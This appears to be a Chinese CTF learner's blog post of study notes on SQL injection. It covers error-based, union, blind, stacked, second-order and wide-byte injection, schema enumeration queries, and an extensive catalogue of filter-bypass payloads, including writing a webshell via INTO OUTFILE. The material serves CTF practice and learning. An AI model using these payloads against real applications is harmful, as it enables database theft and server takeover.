前言
今天原本是在刷题的,凌晨1:45结束那道题目后就发现打不开下一个靶场了,我以为是我扫描的太频繁了,刚好要休息了就没管了,结果后来发现是平台问题,题目打不开,然后我尝试退出登录打算重新登录的,结果发现用来登录Buuctf的第三方平台MYDAS好像也出现问题了,点击登录就是请求超时,然后就是一直等到晚上9点也没登录成功,为了不浪费时间,同时因为明天下午还有事情,所以今天(2026/1/13)写一下近期的知识总结
说起来,今天是我学习CTF的第46天,也不短了,不过我依旧认为我自己只是一个小白,学习的越多就会发现知道的越少,总是能够发现新的知识,而这些奇奇怪怪的知识让我深深的沉迷,我就是在不断的去学习探索这些知识,因为前面的原因,无法登录Buuctf也无法刷题,其他平台在我这个平台还没刷完之前我懒得换或者说是强迫症吧,所以我就只好来整理一下最近学习的知识,也的确冲的有点快了,每天都是8~15.8个小时的学习,虽然很快乐,不过我觉得还是得慢下来好好整理整理
SQL注入分类
- 报错注入
- 联合注入
- 布尔盲注
- 时间盲注(延迟盲注)
- 无列名注入
- 堆叠注入
- 预处理注入
- 二次注入
- 宽字节注入
- Cookie注入
- 带外注入
- …
报错注入
算是比较常见的注入了,利用报错来获取信息,常见的是使用updatexml和extractvalue,还有floor,大多时候我都是测试updatexml,因为过滤了这个,基本上另外两个也会过滤,通过Fuzz跑一遍,没过滤的话再用,如果过滤了updatexml我就会直接尝试联合注入和其他的注入方法,然后展示一下三个的语法,首先是updatexml:
updatexml(XML_document,XPath_string,new_value) updatexml(1,concat(0x7e,(select version()),0x7e),1)然后是extractvalue:
extractvalue(XML_document,XPath_string) extractvalue(1,concat(0x7e,(select version()),0x7e))再然后是floor,这个我也用得少,我也不是很会用这个,可能是我数学不是特别好的原因吧:
select count(*),concat((select version()),floor(rand(0)*2)) as x from information_schema.tables group by x
联合注入
算是比较常见且我喜欢的一种注入方式,利用联合查询来获取信息,使用联合查询获取信息,必须确保原语句没有返回结果,然后还需要判断出字段数和回显位置,听起来很麻烦,不过实际使用会非常舒服,因为不用考虑长度限制,可以一次性获取所有数据,而报错注入因为长度限制,只能使用floor或者其他切分获取的方式,联合注入的使用:
union select xxxx不过如果使用单引号来注入的,就需要在整个语句的结束后面使用注释符,获取信息的方法后面讲
布尔盲注
在联合,报错,堆叠都无法使用的情况下,我会考虑使用布尔盲注,布尔盲注如果只是爆破简单的东西还好,如果需要爆破很多数据,就需要较长时间,特别是在不做任何优化的情况下,爆破一个字符的次数往往在40~100次左右,如果可以使用二分法和ascii,那么爆破的次数可以成倍缩小,一个字符只需要爆破7遍,还是很快的,当然如果大于和等于其中有一个过滤了,那么就需要调整判断逻辑,如果都过滤了,那就只能使用等号来逐字符爆破,当然配合hex16进制可以减少一定的爆破次数,不过还是会比较慢
当这些符号都过滤了,那就只能使用正则表达式,或者通过字符串长度变化来判断真还是假了
延迟盲注:
这个爆破的方法就比较固定了,当我们无法通过其他方法获取数据时就得使用延迟盲注了,不过往往非常耗费时间,还存在误报,所以如果不是迫不得已,能使用其他方法就用其他方法吧
主要的延迟方法是sleep,benchmark(count, expr),get_lock(str, timeout),笛卡尔积,使用方法如下:
sleep(5) benchmark(100000,md5(1))另外两种方法没用过,而且需要对数据库的了解不是特别差,靠我那些入门的知识,我感觉很难,如果让我碰上了我会放弃,sleep被过滤了,我就会尝试benchmark,如果也过滤了我就不会尝试锁和笛卡尔积
无列名注入
严格来讲不是一种注入方式,只能算是一种注入技巧,或者获取数据的方法,通过join,using来获取数据:
通过join自连接同一张表制造重复列名错误,再利用using子句强制暴露所有列名结构
还可以使用设置别名的方法来进行注入,不过需要判断好字段数
select `3` from (select 1,2,3 union select * from table3)c;order by比较盲注
select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;
堆叠注入
反正比报错和布尔舒服,因为直接拼接第二条语句来获取数据,数据通常能直接显示,快捷方便,原理就是通过分号来结束当前语句,然后构造新的语句,让数据库执行额外的查询语句
预处理注入
需要和堆叠注入或其他方式结合使用,可以通过预编译语句写入Webshell,通常注入时可能会过滤查询的语句和编码的函数,不过对解码可能过滤不严格,可以定义一个编码后的语句作为变量,然后在预编译中调用,然后执行,同样可以绕过过滤,并且可以写入Webshell
二次注入
发生在第一次写入用户提交的数据时,转义了用户的输入,但保存在数据库的数据是没有转义的,当通过其他地方调用这个数据时才会触发二次注入,比如注册了一个恶意用户名,然后在用户查看简介或者提交评论的时候,都会查询一遍用户的用户名,这个时候就会触发二次注入
宽字节注入
这个好像我在buuctf还没刷到,也有可能是没有带有SQL关键词,这个注入主要是利用数据库字符集转换特性来绕过转义,通常发生在数据库使用宽字符集时,某些特殊字节会被解释为一个汉字的一部分,从而使得转义符号(反斜杠 \)被 “吞掉”,导致注入成功,例如:
用户输入的内容是
%bf%27(这是0xbf27的 URL 编码形式),PHP 的 addslashes 或类似的函数检测到%27,从而进行转义,于是它在前面加一个反斜杠,然后转义后的字符串就变成了%bf%5c%27,即0xbf5c27,当这个被转义后的字符串被发送到 MySQL 时,由于连接字符集是 GBK,MySQL 会按照两个字节一个字符的方式去解析它, MySQL 看到0xbf5c,并在 GBK 字符集码表中进行查找。它发现0xbf5c正好对应着一个完整的、合法的 GBK 字符:縗 。于是, MySQL 将0xbf5c解析(合并)为字符 縗,剩下的0x27被独立解析为单引号,经过这个转换,原本的 % bf%5c%27 就变成了 縗 ‘ ,那个用于转义的反斜杠\神奇地消失了! 单引号成功逃逸,重新成为了一个可以闭合 SQL 语句的危险字符
Cookie注入
cookie注入与传统的SQL注入基本上是一样,都是针对数据库的注入,就是注入的位置不同,注入形式不同
带外注入
利用 DNS 协议或其他方法来从目标数据库中提取数据的 SQL 注入技术,它们属于带外通道攻击(Out-of-Band OOB)
获取数据
想要获取数据,通常会先获取数据库的表名,库名也会获取,不过如果是直接获取当前数据库中的数据,就不用去获取库名,但是如果要查询其他数据库的数据,就需要库名,所以先展示如何获取库名:
# 获取当前数据库 database() # 获取所有数据库 show databases; select group_concat(schema_name) from information_schema.schemata # 其他方法 select name from sys.databases select group_concat(schema_name) from sys.schema_table_statistics_with_buffer接下来是获取表名:
# 获取所有表 show tables; select group_concat(table_name) from information_schema.tables # 获取当前数据库的表 select group_concat(table_name) from information_schema.tables where table_schema=database() select group_concat(table_name) from information_schema.tables where table_schema='当前数据库名' # 其他方法 select distinct table_name from mysql.innodb_table_stats where database_name = database() select distinct table_name from mysql.innodb_index_stats where database_name = database() select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()获取列名:
# 获取所有列名 select group_concat(column_name) from information_schema.columns # 获取当前数据库列名 select group_concat(column_name) from information_schema.columns where table_schema=database() select group_concat(column_name) from information_schema.columns where table_schema="当前数据库名" # 获取当前数据库users表的列名 select group_concat(column_name) from information_schema.columns where table_name="users" select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"获取数据:
# 获取当前数据库的数据 select 列名 from 表名 # 直接获取其他数据库的数据 select 列名 from 数据库名.表名 # 无列名注入 # 需要判断字段数 然后通过设置别名来查询对应的列 select `3` from (select 1,2,3,4,5 union select * from users)as a; # 通过ascii位偏移 (SELECT 1,2)>(SELECT * FROM f1ag_1s_h3r3_hhhhh) # 通过二分法进行布尔盲注 查询语句还是一样 主要是切割单一字符 然后使用ascii比对 # hex 布尔盲注 编码获取方式都一样 通过条件判断来确认单一字符 然后拼接结果
绕过技巧
不一定完善,只是做一个汇总
输出过滤
使用编码绕过,或者使用替换函数嵌套绕过,还可以使用盲注,还有就是直接写入Webshell
- 编码绕过 hex、ascii、to_base64、urlencode
- 替换函数 replace(str,from_str,to_str)
- 写入Webshell select “数据” into dumpfile/outfile “路径” 有路径 linux默认路径是/var/www/html/
对数字字母过滤的绕过
- ture
- false
- pi()
- version()
- floor()
- ceil()
对空格过滤的绕过
URL编码制表符
%09URL编码换行符
%0aURL编码垂直制表符
%0bURL编码换页符
%0cURL编码回车符
%0dURL编码非断行空格
%a0URL编码空字符或NULL
%00+号代替
+多行注释代替
/**/内联注释
/*!*/括号代替
select(group_concat(table_name))from(information_schema.tables)where(table_name=database())
对引号过滤的绕过
16进制编码”admin”
0x41646d696eascii编码
concat(char(65),char(100),char(109),char(105),char(110))hex与unhex
select id from table1 where id=unhex(hex(12850)); select id from table1 where id regexp unhex(hex(12850));宽字节绕过
%bf%27反斜杠逃逸
# 正常的查询语句 select xxx from xxx where username="" and password="" # 使用反斜杠转义username的第二个引号 使password的内容逃逸出来 select xxx from xxx where username="\" and password="123" select xxx from xxx where username="名字"123" # 此方法得确保密码或者后面的password没有进行加密或其他操作
对逗号过滤的绕过
这个我也是才知道,之前都没有碰到过,所以一直没想过这个问题
limit()
select * from test where id=1 limit 1,2; select * from test where id=1 limit 2 OFFSET 1; select * from test where id=1 limit 2 FROM 1;substr()、substring()、mid()
substr(string, start, length) substr(string FROM start FOR length) substring(string, start, length) substring(string FROM start FOR length) mid(string, start, length) mid(string FROM start FOR length)JOIN
union select 1,2 union select * from (select 1)a join (select 2)b
对<>=过滤的绕过
真后悔没有早点看到,我当时发现<>都被过滤了,就直接逐字符跑的,现在想想还可以用函数来比较大小啊
strcmp() value1小于value2,返回 -1,其它情况返回 1
strcmp(value1,value2)greatest() 返回多个参数中的最大值
GREATEST(value1, value2, ..., valueN)least() 返回多个参数中的最小值
LEAST(value1, value2, ..., valueN)BETWEEN … AND …
value BETWEEN lower_bound AND upper_bound value BETWEEN 65 AND 65 -- =65in
substr(username,1,1) in ('A')like代替=,LIKE可以通过将数字隐式转换成字符,再和特定的字符比较,适合支持将数字隐式转换为字符串,RLIKE(mysql特有)\REGEXP适合匹配字符,支持正则表达式,可以实现更复杂的匹配需求
value LIKE '65' GREATEST(value, 65) BETWEEN 65 AND 65 -- value<=65 LEAST(value, 65) BETWEEN 65 AND 65 -- value>=65 LEAST(value, 65) LIKE '65'
对注释符号过滤的绕过
--%20%23;00- 再次输入引号闭合
编码绕过
- 宽字节,前面说过,不赘述
- latin1字符集
ISO-8859-1(又称为 Latin-1)是一种字符编码标准,用于表示西欧和美洲的字符,MySQL 5.7 及以前 默认编码: latin1,MySQL 8.0 及之后 默认编码:utf8mb4,MySQL遇到无法正确转换为utf8的字符时,通常会直接忽略
?username=admin%c2存储时%c2部分被忽略,实际存储的值变为admin。%c2可以换为%c2-%ef)
MySQL配置严格模式(如sql_mode设置STRICT_TRANS_TABLES)的情况下在字符转换失败时会报错误
对布尔运算符过滤的绕过
and过滤:&& 或者 id=1=(condition)等价于id=1 and condition
or过滤:||
not过滤:!
xor过滤:在两边取值为布尔值(或1&0)时可以用
^替换
对where过滤的绕过
可以用 GROUP BY 结合 HAVING 子句来实现与 WHERE 相似的功能,like或引号被过滤可以使用regexp
SELECT value FROM table1 GROUP BY value HAVING value LIKE 'flag%'; SELECT value FROM table1 GROUP BY value HAVING (BINARY substr(value,1,5)) regexp(0x666c6167);使用JOIN替代WHERE
SELECT a.value FROM table1 a JOIN table1 b ON a.value like 'flag%'; SELECT a.value FROM table1 a JOIN table1 b ON (BINARY substr(a.value,1,5) regexp(0x666c6167));
对like过滤的绕过
使用regexp
对select过滤的绕过
使用table绕过
使用show绕过
利用PCRE非贪婪匹配机制漏洞绕过 相关文献
对information_schema过滤的绕过
InnoDB 引擎表,mysql.innodb_table_stats: 存储 InnoDB 表的统计信息;mysql.innodb_index_stats: 存储 InnoDB 索引的统计信息。这两个表会记录表和索引的信息,日志会定期更新,MySQL 5.6 及以上版本
sys
对敏感函数或常见字符过滤的常见绕过
- 大写绕过
- 大小写混用绕过
- 双写绕过
- 编码绕过
- 注释符绕过
- 内联注释绕过
等价替代函数
| SLEEP() | benchmark(count, expr), get_lock(str, timeout),笛卡尔积 |
|---|---|
| CONCAT_WS() | GROUP_CONCAT() |
| MID(),SUBSTR() | SUBSTRING() |
| @@user | USER(),SESSION_USER(),CURRENT_USER(),SYSTEM_USER() |
| @@datadir | DATADIR() |
| database() | schema() |
| ASCII(str) | ORD(str) |
| HEX(),BIN(),OCT() | CONV(N,from,to) |
| @@VERSION,@@GLOBAL.VERSION | version() |
对if过滤的绕过
- elt()
ELT((LENGTH(DATABASE())=3),sleep(3));
- case
case when condition then 1 else 0 end
- locate()
locate(substr(user(),1,1),'a')
- and
condition and sleep(1);
- MAKE_SET()
MAKE_SET((LENGTH(DATABASE())=4),sleep(1),1);
对secure_file_priv限制的绕过
通过查询日志getsell 相关文章
不过感觉不是特别详细,后面抽空再查一下,因为刚刚查了一下相关内容,发现没有找到,不过看思路的确是一个不错的方法










